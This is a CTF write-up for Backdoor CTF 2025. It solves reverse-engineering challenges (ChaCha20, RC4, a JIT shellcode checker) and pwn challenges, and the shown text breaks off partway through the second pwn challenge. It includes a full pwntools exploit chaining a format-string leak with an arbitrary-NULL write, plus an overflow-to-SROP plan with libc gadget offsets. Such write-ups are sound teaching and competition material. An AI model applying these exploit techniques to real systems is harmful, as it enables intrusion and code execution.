Back to home

Writeups Backdoor CTF 2025

Article stats

Read time
21 min
Words
4,005
Headings
195
Code blocks
146
Images
1

Writeups - Backdoor CTF 2025

This post is my writeups for Backdooor CTF 2025 (14 challenges except WEB category) :))

Reverse Engineering

Where code

Description

Another flag checker, eh? But the code is beyond my understanding. It makes my head spin! There's just too many jumps!

Analysis

Check the main flow of the program: flag checking

unsigned __int64 sub_186A()
{
    __int64 v0; // rax
    const void *v1; // rax
    size_t n; // [rsp+8h] [rbp-68h]
    char v4[32]; // [rsp+10h] [rbp-60h] BYREF
    __int64 dest[4]; // [rsp+30h] [rbp-40h] BYREF
    __int16 v6; // [rsp+50h] [rbp-20h]
    unsigned __int64 v7; // [rsp+58h] [rbp-18h]

    v7 = __readfsqword(0x28u);
    std::string::basic_string(v4);
    std::operator<<<std::char_traits<char>>(&std::cout, "Enter the flag: ");
    std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v4);
    memset(dest, 0, sizeof(dest));
    v6 = 0;
    if ( (unsigned __int64)std::string::length(v4) > 0x21 )
    {
        v0 = 0x22LL;
    }
    else
    {
        v0 = std::string::length(v4);
    }

    n = v0;
    v1 = (const void *)std::string::c_str(v4);
    memcpy(dest, v1, n);
    sub_1592(dest, &unk_4280, 0x22LL);
    std::string::~string(v4);
    return v7 - __readfsqword(0x28u);
}

dest + v6 is a 34-byte buffer on the stack.

Your input (up to 34 bytes) is copied into dest, zero-padded.

Then sub_1592(dest, &unk_4280, 34) is called.

unk_4280 is some global buffer; the real check is likely elsewhere (e.g. later memcmp(&unk_4280, EXPECTED, 34) or vice versa). For solving we just need to understand sub_1592.

Check sub_1592 (Chacha20 cipher)

unsigned __int64 __fastcall sub_1592(__int64 a1, __int64 a2, unsigned __int64 a3)
{
    unsigned __int64 v3; // rax
    int i; // [rsp+28h] [rbp-B8h]
    int j; // [rsp+2Ch] [rbp-B4h]
    unsigned __int64 k; // [rsp+30h] [rbp-B0h]
    unsigned __int64 m; // [rsp+38h] [rbp-A8h]
    int v10[12]; // [rsp+50h] [rbp-90h] BYREF
    int v11; // [rsp+80h] [rbp-60h]
    char v12[72]; // [rsp+90h] [rbp-50h] BYREF
    unsigned __int64 v13; // [rsp+D8h] [rbp-8h]

    v13 = __readfsqword(0x28u);
    qmemcpy(v10, "expand 32-byte k", 0x10);
    for ( i = 0; i <= 7; ++i )
    {
        v10[i + 4] = (byte_2080[4 * i + 2] << 0x10) | (byte_2080[4 * i + 1] << 8) | byte_2080[4 * i] | (byte_2080[4 * i + 3] << 0x18);
    }

    v11 = 1;
    for ( j = 0; j <= 2; ++j )
    {
        v10[j + 0xD] = (byte_20A0[4 * j + 2] << 0x10) | (byte_20A0[4 * j + 1] << 8) | byte_20A0[4 * j] | (byte_20A0[4 * j + 3] << 0x18);
    }

    for ( k = 0LL; k < a3; k += v3 )
    {
        sub_13A4(v10, v12);
        ++v11;
        v3 = a3 - k;
        if ( a3 - k > 0x40 )
        {
            v3 = 0x40LL;
        }

        for ( m = 0LL; m < v3; ++m )
        {
            *(_BYTE *)(m + k + a2) = v12[m] ^ *(_BYTE *)(m + k + a1);
        }
    }

    return v13 - __readfsqword(0x28u);
}

So:

  • a1 = input buffer
  • a2 = output buffer
  • a3 = length

sub_13A4 generates a 64-byte block from state v10.

*(a2 + offset) = keystream_byte ^ *(a1 + offset)

That's exactly how ChaCha20 works: keystream ⊕ plaintext → ciphertext.

The constants give it away:

qmemcpy(v10, "expand 32-byte k", 16) is the ChaCha constant.

sub_1285:

__int64 __fastcall sub_1285(_DWORD *a1, _DWORD *a2, _DWORD *a3, _DWORD *a4)
{
    __int64 result; // rax

    *a1 += *a2;
    *a4 ^= *a1;
    *a4 = sub_1269((unsigned int)*a4, 0x10LL);
    *a3 += *a4;
    *a2 ^= *a3;
    *a2 = sub_1269((unsigned int)*a2, 0xCLL);
    *a1 += *a2;
    *a4 ^= *a1;
    *a4 = sub_1269((unsigned int)*a4, 8LL);
    *a3 += *a4;
    *a2 ^= *a3;
    result = sub_1269((unsigned int)*a2, 7LL);
    *a2 = result;
    return result;
}

is a standard ChaCha quarter-round.

So sub_13A4 is "ChaCha20 block function" and sub_1592 is the ChaCha20 XOR loop.

The hard-coded key & nonce:

byte_2080 db 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh

byte_20A0 db 7 dup(0), 4Ah, 4 dup(0)

byte_2080 is a 32-byte key; only pasted the start, but the pattern is clearly 0x00, 0x01, ... 0x1F.

byte_20A0 is 12 bytes: 00 00 00 00 00 00 00 00 4A 00 00 00 00

That's a 96-bit nonce: words are [0, 0, 0x4A] in little-endian.

Counter starts at 1.

So the keystream for the first block (counter = 1) is:

key   = bytes(range(32))                    # 00 01 02 ... 1f
nonce = b'\x00'*7 + b'\x4a' + b'\x00'*4     # 00...00 4a 00 00 00 00
counter = 1

And first 34 bytes of keystream:

22 4f 51 f3 40 1b d9 e1 2f de 27 6f b8 63 1d ed
8c 13 1f 82 3d 2c 06 e2 7e 4f ca ec 9e f3 cf 78
8a 3b

Relation between flag and unk_4280

From the call:

sub_1592(dest, &unk_4280, 34);

get (for 0 ≤ i < 34):

unk_4280[i] = keystream[i] ^ dest[i]

where dest is your (zero-padded) input flag.

That means for the correct flag F and the corresponding stored bytes C (what the program uses in its comparison), the relationship is:

C[i] = F[i] ⊕ KS[i]
⇒ F[i] = C[i] ⊕ KS[i]

So once know the 34 bytes of ciphertext (C), recovering the flag is trivial XOR with the keystream.

This script re-implements the ChaCha20 block exactly as in the binary and recovers the flag from the 34-byte ciphertext.

From the .rodata section, the 34-byte array the checker uses is at offset 0x2040:

44 23 30 94 3b 72 97 d0 70 b8 06 01 d1 3c 50 84
e2 22 40 ef 0d 02 28 cc 4f 10 ee 89 ad ac b6 37
ff 46

Solve

from typing import List

def rotl32(x, n):
    return ((x << n) & 0xffffffff) | ((x & 0xffffffff) >> (32 - n))

def quarter_round(a, b, c, d):
    a = (a + b) & 0xffffffff; d ^= a; d = rotl32(d, 16)
    c = (c + d) & 0xffffffff; b ^= c; b = rotl32(b, 12)
    a = (a + b) & 0xffffffff; d ^= a; d = rotl32(d, 8)
    c = (c + d) & 0xffffffff; b ^= c; b = rotl32(b, 7)
    return a, b, c, d

def chacha_block(key: bytes, counter: int, nonce: bytes) -> bytes:
    assert len(key) == 32
    assert len(nonce) == 12

    def u32_le(b: bytes) -> int:
        return int.from_bytes(b, "little")

    state = [
        u32_le(b"expa"),
        u32_le(b"nd 3"),
        u32_le(b"2-by"),
        u32_le(b"te k"),
    ]
    for i in range(8):
        state.append(int.from_bytes(key[4*i:4*i+4], "little"))
    state.append(counter)
    for i in range(3):
        state.append(int.from_bytes(nonce[4*i:4*i+4], "little"))

    working = state.copy()
    for _ in range(10):  # 20 rounds
        # column
        working[0], working[4], working[8], working[12] = quarter_round(working[0], working[4], working[8], working[12])
        working[1], working[5], working[9], working[13] = quarter_round(working[1], working[5], working[9], working[13])
        working[2], working[6], working[10], working[14] = quarter_round(working[2], working[6], working[10], working[14])
        working[3], working[7], working[11], working[15] = quarter_round(working[3], working[7], working[11], working[15])
        # diagonal
        working[0], working[5], working[10], working[15] = quarter_round(working[0], working[5], working[10], working[15])
        working[1], working[6], working[11], working[12] = quarter_round(working[1], working[6], working[11], working[12])
        working[2], working[7], working[8],  working[13] = quarter_round(working[2], working[7], working[8],  working[13])
        working[3], working[4], working[9],  working[14] = quarter_round(working[3], working[4], working[9],  working[14])

    out = [(a + b) & 0xffffffff for a, b in zip(state, working)]
    return b"".join(x.to_bytes(4, "little") for x in out)

key   = bytes(range(32))  # 00 01 02 ... 1f
nonce = bytes.fromhex("000000000000004a00000000")
enc   = bytes.fromhex(
    "44 23 30 94 3b 72 97 d0 70 b8 06 01 d1 3c 50 84"
    " e2 22 40 ef 0d 02 28 cc 4f 10 ee 89 ad ac b6 37"
    " ff 46"
)

ks = chacha_block(key, 1, nonce)   # counter = 1
flag = bytes(e ^ k for e, k in zip(enc, ks[:len(enc)]))
print(flag)
print(flag.decode())

FLAG: flag{iN1_f!ni_Min1_m0...1_$e3_yOu}

To jmp or not jmp

Description

Another flag checker, eh? But the code is beyond my understanding. It makes my head spin! There's just too many jumps!

Analysis

Information

challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3dd27df153c863f59a03dcd6cbbe810abda047bf, for GNU/Linux 3.2.0, stripped
Initial Observations
  • The binary uses libstdc++ (evident from functions: _ZSt3cin, _ZSt4cout, std::getline in PLT)
  • Contains many jn/jne jumps to illogical addresses - classic control flow obfuscation
  • String analysis in IDA Pro reveals an obfuscated string at 0x2020
.rodata:0000000000002020 sza1a9a1fsR db '!a1 a&',0Dh,'9a+',0Dh,' 1fsR'
Key Recovery

The binary contains XOR-based key obfuscation. Tracing the code:

.text:000000000000134C         lea     rdx, sza1a9a1fsR        ; "!a1 a&\r9a+\r 1fsR"
.text:0000000000001353         mov     rax, [rbp-8]
.text:0000000000001357         add     rax, rdx
.text:000000000000135A         movzx   eax, byte ptr [rax]
.text:000000000000135D         xor     eax, 52h

The string sza1a9a1fsR is XORed with 0x52 to reveal the actual key:

b'!a1 a&\r9a+\r 1fsR' ^ 0x52 = b's3cr3t_k3y_rc4!\x00'
RC4 Implementation Analysis
Encrypted Data Location
  • At 0x2040: 66 bytes of high-entropy data (ciphertext)
  • At 0x2088: length value 0x42 (66 decimal)
  • At 0x2080: magic value 0xf1ed
Algorithm Confirmation

The binary contains a standard RC4 implementation starting at 0x12e6:

  1. Key Scheduling Algorithm (KSA): Initializes 256-byte S-box at 0x4280
  2. Pseudo-Random Generation Algorithm (PRGA): Generates keystream bytes at 0x1413-0x14ff

Key structure identified:

  • RC4 key: "s3cr3t_k3y_rc4!" (15 bytes)
  • Ciphertext: 66 bytes at 0x2040

Solve

Decryption Script
def rc4_ksa(key: bytes):
    S = list(range(256))
    j = 0
    klen = len(key)
    for i in range(256):
        j = (j + S[i] + key[i % klen]) & 0xff
        S[i], S[j] = S[j], S[i]
    return S

def rc4_prga(S, n):
    i = j = 0
    out = []
    for _ in range(n):
        i = (i + 1) & 0xff
        j = (j + S[i]) & 0xff
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) & 0xff]
        out.append(K)
    return bytes(out)

def rc4_decrypt(key, cipher):
    S = rc4_ksa(key)
    ks = rc4_prga(S, len(cipher))
    return bytes(c ^ k for c, k in zip(cipher, ks))
Flag Extraction
# Extract from binary
key_full = b's3cr3t_k3y_rc4!\x00'
key = key_full[:15]               # First 15 bytes as the key
cipher = ro_bytes[0x40:0x40+66]   # 66 bytes at offset 0x40

# Decrypt
plain = rc4_decrypt(key, cipher)
print(plain.decode())

Flag: flag{$t0p_JUmp1n9_@R0uNd_1!k3_A_F00l_4nd_gib3_M3333_7H@t_f14g!!!!}

Vault

Description

I heard you are a master at breaking vaults, try to break this one..

Analysis

Based on the challenge name "Vault", we can guess this is a binary related to shellcode. When opening the file with IDA Pro, we can see the main program flow as follows:

1. Quick recon
file chal
# ELF 64-bit LSB pie executable, x86-64, stripped

readelf -h chal | grep 'Entry point'
# Entry point: 0x1160

readelf -S chal | grep '\.data'
# .data: vaddr 0x4000, file offset 0x3000, size 0x1380

Useful imported functions from the PLT:

  • printf, puts, __isoc23_scanf, strcspn
  • mmap, munmap, perror, exit

So we immediately suspect some dynamic code generation (JIT) via mmap.

main – input & length check

Disassembling around 0x1460 shows the main function:

  • Prints the intro string (vault story) and a prompt.
  • Reads the password into a 0x90‑byte stack buffer via __isoc23_scanf.
  • Uses strcspn to strip the trailing newline and stores the length in [rbp-0x98].
  • If length != 0x35 (53), it prints an error message and exits.
  • If length == 0x35, it calls the verifier at 0x1379, passing the pointer to string in rdi.

So we know the only accepted password is exactly 53 bytes long.

The JIT builder (function at 0x1249)

The verifier calls a helper at 0x1249 with edi = index for each character position.

Pseudocode for 0x1249:

void *build_shellcode(int idx) {
    // mmap RWX 0x8000 bytes
    void *buf = mmap(NULL, 0x8000, PROT_READ|PROT_WRITE|PROT_EXEC,
                     MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if (buf == MAP_FAILED) { perror("mmap"); exit(-1); }

    // local tmp[57]
    for (int j = 0; j <= 0x38; j++) {
        // index into a big byte table at .data+0x20 (vaddr 0x4020)
        size_t off = idx * 57 + j;
        uint8_t b = byte_table_4020[off];

        // XOR with a dword from 0x4C00 and keep only the low byte
        uint32_t key = dword_table_4C00[idx];
        tmp[j] = (uint8_t)(b ^ (uint8_t)key);
    }

    // then splat tmp[0..56] into `buf` as overlapping qwords,
    // resulting in a 57‑byte chunk of executable shellcode.
    // Finally return buf;
}

So for each character position i, the program builds a custom 57‑byte piece of code and returns a function pointer to it.

The verifier (function at 0x1379)

The function at 0x1379 loops over every character of input string:

int check(const char *s) {
    int i = 0;
    for (;;) {
        unsigned char ch = s[i];
        if (!ch) break;            // end of string

        void *code = build_shellcode(i);  // 0x1249
        uint32_t *pattern = &table_bits_4CE0[i * 8];
        uint32_t key      = dword_table_4C00[i];

        int ok = jit_func(ch, key, 0, 0, pattern); // call via function pointer
        if (ok != 1) {
            puts("Wrong password");
            exit(-1);
        }
        munmap(code, 0x8000);
        i++;
    }
    puts("Correct password");
    return 0;
}

The interesting part is what jit_func actually does with (ch, key, pattern).

Reversing the shellcode

We can reconstruct the shellcode bytes for a given index entirely in Python by mimicking the loop in 0x1249 (that’s exactly what the solver does internally), but to understand the logic we only need one instance, say for idx = 0.

Once we build those 57 bytes, we disassemble them as raw x86‑64:

# code0.bin contains the first 80 bytes of the mmap'ed shellcode for index 0
objdump -D -b binary -m i386:x86-64 code0.bin

The disassembly (cleaned up) is:

mov  ecx, 4              ; start checking from bit 4
xor  rdi, rsi            ; rdi = ch ^ key
loop_start:
    cmp  rdx, 8
    sete al
    je   done_success    ; if we checked 8 bits, return 1

    mov  rax, rdi
    shr  rax, cl         ; shift our value by cl bits
    and  rax, 1          ; keep only the lowest bit
    mov  rbx, rax

    movzbq rax, [r8 + rdx*4]  ; pattern[rdx], 8 entries of 0/1
    cmp    rax, rbx
    sete   al
    jne    done_fail     ; mismatch -> return 0

    inc  rdx             ; next pattern entry
    inc  rcx             ; next bit of v
    and  rcx, 7          ; wrap around mod 8
    jmp  loop_start

done_fail:
    ret
done_success:
    ret

Call-site register setup (from 0x1379):

  • rdi = sign-extended input character
  • rsi = 32‑bit key from table at 0x4C00
  • rdx = 0
  • rcx = 0
  • r8 = pointer into the table at 0x4CE0 (8 dwords per character index)

So the abstract logic of the shellcode is:

int jit(int ch, uint32_t key, int zero1, int zero2, uint32_t *pattern) {
    unsigned long v = (unsigned long)ch ^ (unsigned long)key;
    int bit = 4;       // start from bit 4
    int k   = 0;       // pattern index

    for (;;) {
        if (k == 8) return 1;  // all 8 bits matched

        unsigned long actual = (v >> bit) & 1;
        unsigned long expected = pattern[k] & 1;  // 8 entries of 0 or 1

        if (actual != expected) return 0;

        k++;
        bit = (bit + 1) & 7;  // 4,5,6,7,0,1,2,3
    }
}
Understanding the data tables

From the disassembly:

  • Byte table at 0x4020 (vaddr) in .data – used only to construct the shellcode.
  • Dword key table at 0x4C00 – 64 entries of 32‑bit keys.
  • Dword bit-pattern table at 0x4CE0 – for each character index i, 8 x 32‑bit integers (0 or 1), i.e. 32 bytes per index.

We don’t actually need the byte table at 0x4020 to solve the challenge; it’s just an obfuscation layer for the JIT. Once we know what the shellcode does, only 0x4C00 and 0x4CE0 matter.

Let:

v_i = password[i] ^ (key[i] & 0xFF);

and let pattern[i][k] be the 8 dwords at 0x4CE0 + i*32 + k*4, each equal to 0 or 1.

The shellcode checks:

  • pattern[i][0] == bit4(v_i)
  • pattern[i][1] == bit5(v_i)
  • pattern[i][2] == bit6(v_i)
  • pattern[i][3] == bit7(v_i)
  • pattern[i][4] == bit0(v_i)
  • pattern[i][5] == bit1(v_i)
  • pattern[i][6] == bit2(v_i)
  • pattern[i][7] == bit3(v_i)

So each index i has an 8‑bit pattern that exactly encodes the bits of v_i.

Inverting the check

For each position i:

  1. Read the 8 dwords from 0x4CE0: bits[k] = (raw_bits[32*i + 4*k] & 1) for k = 0..7.

  2. Reconstruct v_i from those bits:

    v = 0
    # bits[0..3] -> bits 4..7
    for bitpos in range(4, 8):
        if bits[bitpos - 4]:
            v |= (1 << bitpos)
    # bits[4..7] -> bits 0..3
    for bitpos in range(0, 4):
        if bits[bitpos + 4]:
            v |= (1 << bitpos)
    
  3. Recover the actual password byte as:

    ch = v ^ (key[i] & 0xFF)
    

Doing this for all 53 positions yields a 53‑byte password.

The provided solver (solve_chal.py) implements exactly this logic directly on the chal binary.

Solve

#!/usr/bin/env python3
import struct

FILENAME = "chal"   # change if filename is different

def main():
    with open(FILENAME, "rb") as f:
        data = f.read()

    # According to readelf: .data has virtual addr 0x4000 and file offset 0x3000
    off_data = 0x3000

    # Offsets in .data obtained from disassembly:
    # 0x4020: byte table used to build shellcode (57 bytes / index, 64 indexes)
    # 0x4c00: dword key table (4 bytes / index, 64 indexes)
    # 0x4ce0: bit pattern table (32 bytes / index, 64 indexes)
    off_4020 = off_data + 0x20   # 0x4020
    off_4c00 = off_data + 0xC00  # 0x4C00
    off_4ce0 = off_data + 0xCE0  # 0x4CE0

    n_slots = 64
    raw_shell = data[off_4020: off_4020 + 57 * n_slots]
    raw_keys  = data[off_4c00: off_4c00 + 4  * n_slots]
    raw_bits  = data[off_4ce0: off_4ce0 + 32 * n_slots]

    # key[i] is a dword, but shellcode only uses the low byte
    keys = [struct.unpack_from("<I", raw_keys, 4 * i)[0] for i in range(n_slots)]

    def recover_char(i: int) -> int:
        """
        Based on shellcode:
          v = ch ^ key_byte
          then check 8 bits of v in bitpos order: 4,5,6,7,0,1,2,3
          expected bit values are taken from table 4ce0, each index occupies 32 bytes,
          but only uses 8 bytes at offset 0,4,8,...,28 (1 byte each time).
        We reverse: from 8 expected bits -> v -> ch.
        """
        key_byte = keys[i] & 0xFF

        # Get 8 bits (actually 8 bytes of 0/1) for index i
        bits = [(raw_bits[32 * i + 4 * t] & 1) for t in range(8)]

        # Rebuild v = ch ^ key_byte from those bits.
        # mapping:
        #  t=0..3  -> bitpos 4..7
        #  t=4..7  -> bitpos 0..3
        v = 0
        # bit 4..7
        for bitpos in range(4, 8):
            t = bitpos - 4
            if bits[t]:
                v |= (1 << bitpos)
        # bit 0..3
        for bitpos in range(0, 4):
            t = bitpos + 4
            if bits[t]:
                v |= (1 << bitpos)

        ch = v ^ key_byte
        return ch

    # main() in binary requires length = 0x35 (53) before calling the check function
    length = 0x35
    secret = bytes(recover_char(i) for i in range(length))

    # Print results
    print("Raw password bytes:", list(secret))
    print("Raw password hex  :", secret.hex())
    print("Printable preview :", ''.join(chr(c) if 32 <= c < 127 else '.' for c in secret))

    # A reasonable flag format: flag{<password_hex>}
    print("\nCandidate flag (password hex-encoded):")
    print(f"flag{{{secret.hex()}}}")

if __name__ == "__main__":
    main()

FLAG: flag{hm_she11c0d3_v4u17_cr4ck1ng_4r3_t0ugh_r1gh7!!??}

Pwnable

Gamble

Description

My friends and I planned a trip to Gokarna and heard about a famous casino with a machine that almost never lets anyone win, only the truly lucky. I’ve replicated it. Let’s see if you are one of them!

In this challenge, we are given only the binary with a Dockerfile. Libc is important in this challenge, so we need to build the docker image and get libc there

Analysis

  • checksec: Every mitigations are used
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
  • Reverse engineering: The challenge allows us to use the following functionalities

    1. The login() function allows us to create a new user (if has not existed), or simply switch to an already created user
    2. The bet() function allows us to place an arbitrary bet amount (with each user can bet only once)
    3. The gamble() function calls random 5 times, with the results in the range from 0 to 0xfffffffffffff000. If the result falls under 4094, we will get the flag via win()
  • Vulnerabilities: There are two vulnerabilities in this binary

    1. Format string vulnerability via stack overflow: The printf() function at address 0x1998 uses a program defined string as the format string. However, we can overwrite the first 6 bytes of the format string, because the program allows us to write 16 bytes to a 10-byte buffer right before it.
    2. Arbitrary NULL vulnerability: In the gamble() function, if we lose, it sets the current player balance to zero. However, it does a double dereference (at 0x1BD8), thus instead of zeroing the balance, it sets the address pointed to by the current balance to be 0. As the balance is user input, we can achieve arbitrary NULL.

Exploitation

  • The first thing that we can achive using the 6-byte format string is to leak a variety of addresses (including libc, elf, and stack). However, as I only use libc address in the next steps, I only leak it.

  • The next step is to somehow trick rand() to return a small value, as the current set up gives us a winning chance of about 1/500000. As we know the libc address and have arbitrary NULL primitive, I decided to dive into libc source code to see how random numbers are generated by rand(). The source code is available at https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/random_r.c#L353

  • The rand() function will eventually call __random_r(), which is indeed quite short

int
__random_r (struct random_data *buf, int32_t *result)
{
  int32_t *state;

  if (buf == NULL || result == NULL)
    goto fail;

  state = buf->state;

  if (buf->rand_type == TYPE_0)
    {
      int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;
      state[0] = val;
      *result = val;
    }
  else
    {
      int32_t *fptr = buf->fptr;
      int32_t *rptr = buf->rptr;
      int32_t *end_ptr = buf->end_ptr;
      uint32_t val;

      val = *fptr += (uint32_t) *rptr;
      /* Chucking least random bit.  */
      *result = val >> 1;
      ++fptr;
      if (fptr >= end_ptr)
	{
	  fptr = state;
	  ++rptr;
	}
      else
	{
	  ++rptr;
	  if (rptr >= end_ptr)
	    rptr = state;
	}
      buf->fptr = fptr;
      buf->rptr = rptr;
    }
  return 0;

 fail:
  __set_errno (EINVAL);
  return -1;
}

The struct random_data is as follows

struct random_data
  {
    int32_t *fptr;		/* Front pointer.  */
    int32_t *rptr;		/* Rear pointer.  */
    int32_t *state;		/* Array of state values.  */
    int rand_type;		/* Type of random number generator.  */
    int rand_deg;		/* Degree of random number generator.  */
    int rand_sep;		/* Distance between front and rear.  */
    int32_t *end_ptr;		/* Pointer behind state table.  */
  };
  • In short, the random_data *buf structure is initialized in libc, with the rand_type being 3. It can be seen via debugging. So, the rand() function of the binary will take the path
int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;
int32_t *end_ptr = buf->end_ptr;
uint32_t val;

val = *fptr += (uint32_t) *rptr;
/* Chucking least random bit.  */
*result = val >> 1;
++fptr;
if (fptr >= end_ptr)
    {
        fptr = state;
        ++rptr;
    }
else
    {
        ++rptr;
        if (rptr >= end_ptr)
        rptr = state;
    }
buf->fptr = fptr;
buf->rptr = rptr;
  • The generation of random number is simply: Maintain two pointers fptr and rptr, which point to a libc region between buf->state and buf->end_ptr (it can also be observed by debugging). fptr or rptr is added up after every call for random. If they exceed the end_ptr, they are set back to state, which is kind of a base pointer. By debugging, we can see that the region is full of random numbers, and the region is (approximately) from offset 0x203020 to 0x2030a0 in libc. An important thing to note is that this region NEVER changes after initialization. So, as the result is (*fptr + *rptr) >> 1, then if we can nullify the region that fptr and rptr point to, the rand() function will always return 0.

  • We can debug and see exactly which place that we need to null out to achieve that (for example set a break at a rand() and see which two values are used in that call, and then set it to 0). However, as we are allowed 8 bet times (2 reserved for leaking libc and the final call for flag), I simply null out the first 8 QWORDS of that region. Luckily, it is enough to reach win(). Also, I try to null out the end_ptr, so that fptr and rptr goes back to state, which is the start of the region, and we have nulled out several QWORDS there.

from pwn import *
context.log_level = 'debug'

p = remote('remote.infoseciitr.in', 8004)
def login(usr_id, usr_name, amount):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', usr_id)
    p.sendlineafter(b': ', usr_name)
    p.sendlineafter(b': ', amount)

def leak_libc(usr_id):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', usr_id)
    p.sendlineafter(b': ', b'A' * 10 + b'%llx')
    libc_leak = int('0x' + p.recv(12).decode(), 16)
    return libc_leak - 0x203963

def arbitrary_null(usr_id, addr):
    login(usr_id, b'a', str(addr // 8).encode())
    leak_libc(usr_id)
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', usr_id)
    for i in range(5):
        p.recvuntil(b'gamble...')
        p.sendline(b'')
    
login(b'0', b'a', b'1')
libc_base = leak_libc(b'0')
log.info(f"Libc_base: {hex(libc_base)}")

arbitrary_null(b'1', libc_base + 0x203020)
arbitrary_null(b'2', libc_base + 0x203028)
arbitrary_null(b'3', libc_base + 0x203030)
arbitrary_null(b'4', libc_base + 0x203038)
arbitrary_null(b'5', libc_base + 0x203040)
arbitrary_null(b'6', libc_base + 0x203048)
arbitrary_null(b'7', libc_base + 0x203050)

arbitrary_null(b'8', libc_base + 0x2036c8) ### Null end_ptr (may not be necessary)
arbitrary_null(b'9', libc_base + 0x203058) ### Final to get flag
p.interactive()

Devil's Convergence

BOOM.

Analysis

High‑Level Design of the Binary

The program is themed around devils from Chainsaw Man. The flow:

  1. Control Devil (Makima) – first interaction
  2. War Devil (Yoru) – second interaction
  3. Bomb Devil (Reze) – final interaction where we gain RIP control

There is also a global 8‑byte variable we’ll call contract_seal, which is crucial. It is initialized at startup via relocations to hold the address of system in libc.

contract_seal

Decompiled/annotated:

uint64_t contract_seal;  // global

void initialize(void) {
    // ... some story printing ...
    // via a GLOB_DAT relocation, contract_seal is set to &system
    // in the GOT/PLT resolution process.
}

So at runtime:

contract_seal == (uint64_t)system@libc

This is the secret key used by all three devils.

Control Devil: Low 4 Bytes of system

The Control Devil function (Makima) roughly looks like:

void control_devils_contract(void) {
    char buf[4];

    puts("[CONTROL DEVIL] Submit to her control:");
    read(0, buf, 4);                         // our input

    uint8_t *seal = (uint8_t *)&contract_seal;
    for (int i = 0; i < 4; i++) {
        buf[i] ^= seal[i];                   // XOR with first 4 bytes
    }

    printf("[CONTROL DEVIL] Your dominated essence: ");
    write(1, buf, 4);
    putchar('\n');
}

Crucially:

output[i] = input[i] ^ seal[i]

So if we choose a known input (e.g. "AAAA"), then:

seal[i] = output[i] ^ input[i]

This gives us the first 4 bytes of contract_seal.

War Devil: High 4 Bytes of system

The War Devil function (Yoru) is similar, but uses the next 4 bytes of contract_seal:

void war_devils_prophecy(void) {
    char buf[4];

    puts("[WAR DEVIL] Offer your tribute to War:");
    read(0, buf, 4);                         // our input

    uint8_t *seal = (uint8_t *)&contract_seal;
    for (int i = 0; i < 4; i++) {
        buf[i] ^= seal[i+4];                 // XOR with bytes 4..7
    }

    printf("[WAR DEVIL] Your war essence: ");
    write(1, buf, 4);
    putchar('\n');
}

Again:

output[i] = input[i] ^ seal[i+4]
=> seal[i+4] = output[i] ^ input[i]

Picking a known input like "BBBB", we recover the high 4 bytes of contract_seal.

Combining both:

key0 = output0 ^ b"AAAA"
key1 = output1 ^ b"BBBB"
key  = key0 + key1   # 8 bytes total
system_leak = u64(key)  # little-endian decode

Now we have the exact runtime address of system in the remote libc:

system_leak = libc_base + libc.sym['system']
=> libc_base = system_leak - libc.sym['system']
Bomb Devil: Stack Overflow with XOR Obfuscation

The final devil, Bomb Devil (Reze), has the actual memory corruption bug.

Approximate decompilation:

void bomb_devils_contract(void) {
    char volatile_mixture[0x200];   // actually allocated on heap via malloc
    char buffer[0x50];              // local stack buffer

    uint8_t *seal = (uint8_t *)&contract_seal;

    puts("[BOMB DEVIL] Infuse your energy into the contract:");

    char *ptr = malloc(0x200);
    read(0, ptr, 0x200);            // read 512 bytes from user

    for (int i = 0; i < 0x200; i++) {
        ptr[i] ^= seal[i % 8];      // XOR each byte with repeating key
    }

    memcpy(buffer, ptr, 0x200);     // BUG: copies 0x200 into 0x50 buffer
    free(ptr);

    // function returns, using corrupted stack
}

The problem:

  • buffer is only 0x50 bytes.
  • memcpy copies 0x200 bytes into it.
  • This overflows into saved RBP and then saved RIP.

Stack layout:

[buffer, size 0x50]           ; at [rbp-0x50]
[saved RBP]                   ; at [rbp]
[saved RIP]                   ; at [rbp+8]

So from the start of buffer to saved RIP is:

offset = 0x50 (buffer) + 0x08 (saved RBP) = 0x58

Whatever ends up at buffer[0x58:0x60] becomes the new RIP.

###1. The XOR twist

We don’t control buffer directly. Data flows as:

our_input -> ptr (heap) --XOR with seal--> ptr -> memcpy -> buffer (stack)

So:

buffer[i] = our_input[i] ^ seal[i % 8]

If we want a desired byte D[i] on the stack, we need to send:

our_input[i] = D[i] ^ seal[i % 8]

Since we already recovered all 8 bytes of contract_seal (which is system), we know the XOR key:

key = p64(system_leak)  # 8-byte repeating key

Now we can pre‑XOR a desired stack image to get the correct input payload.

ROP vs SROP – Why We Use Sigreturn

We want to eventually call:

system("/bin/sh");

or perform an equivalent execve("/bin/sh", 0, 0).

Given ASLR and PIE, we only know libc base (from the system leak). We must build a ROP chain inside libc.

Looking for a classic ROP chain (pop rdi; retsystem("/bin/sh")) is hard in this libc/gadget set and/or in the challenge’s intended solution. Instead, we use SROP (Sigreturn-Oriented Programming), which works well when:

  • We know libc base.
  • We can find:
    • A syscall instruction.
    • A gadget to set RAX = 15 (the rt_sigreturn syscall number).
  • We can build a valid sigreturn frame on the stack.
Useful libc gadgets

In this provided libc.so.6 we can find:

  • A misaligned gadget that acts as pop rax; ret at offset 0xDD237:

    libc_base + 0xDD237  =>  pop rax; ret
    
  • A syscall instruction at offset 0x288B5:

    libc_base + 0x288B5  =>  syscall
    
  • The string "/bin/sh" at offset found by searching:

    BINSH_OFF = next(libc.search(b"/bin/sh"))
    # e.g. 0x1cb42f
    

So at runtime:

pop_rax_ret = libc_base + 0xDD237
syscall     = libc_base + 0x288B5
binsh       = libc_base + BINSH_OFF
SROP idea

We craft an ROP sequence on the stack:

  1. Overwrite RIP with pop_rax_ret

  2. Next 8 bytes: 0xf (the syscall number for rt_sigreturn)

